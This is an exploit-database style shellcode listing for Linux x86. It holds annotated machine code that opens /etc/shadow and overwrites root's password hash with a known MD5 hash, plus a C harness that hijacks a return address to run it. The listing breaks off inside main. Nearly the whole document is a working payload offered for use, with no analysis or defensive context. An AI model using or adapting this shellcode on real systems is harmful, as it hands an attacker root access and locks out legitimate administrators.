| Title: Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 89 Bytes
 | Description: replace root's password with hash of "agix" in MD5
 | Type: Shellcode
 | Author: agix
 | Platform: Linux X86

#include <stdio.h>

char shellcode[] =
"\x31\xC9"            		//xor ecx,ecx
"\x51"              		//push ecx
"\x68\x61\x64\x6F\x77"   	//push dword 0x776f6461
"\x68\x63\x2F\x73\x68"      	//push dword 0x68732f63
"\x68\x2F\x2F\x65\x74" 		//push dword 0x74652f2f
"\x89\xE3"               	//mov ebx,esp
"\x66\xB9\x91\x01"         	//mov cx,0x191
"\x31\xC0"               	//xor eax,eax
"\xB0\x05"               	//mov al,0x5
"\xCD\x80"               	//int 0x80
"\x89\xC3"               	//mov ebx,eax
"\xEB\x12" 			//jmp short 0x34
"\x59" 				//pop ecx
"\x31\xC0"               	//xor eax,eax
"\x31\xD2"               	//xor edx,edx
"\xB2\x20"               	//mov dl,0x20
"\xB0\xB5"               	//mov al,0xb5
"\x31\xF6"               	//xor esi,esi
"\x6A\x08"            		//push byte +0x8
"\x5E"                 		//pop esi
"\x31\xFF"               	//xor edi,edi
"\xCD\x80"               	//int 0x80
"\xE8\xE9\xFF\xFF\xFF"      	//call 0x22
//db "IMMkmgi9$NuhPs1B8H5uz7kEOeKf2H1:"

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;